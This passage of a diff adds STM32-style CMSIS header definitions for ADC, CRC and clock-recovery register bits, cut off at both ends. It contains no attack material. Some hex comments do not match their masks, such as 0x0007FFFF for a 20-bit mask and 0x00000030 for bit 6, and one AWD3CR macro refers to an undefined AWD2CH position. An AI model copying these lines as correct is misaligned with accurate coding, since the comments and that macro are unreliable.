*/ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV 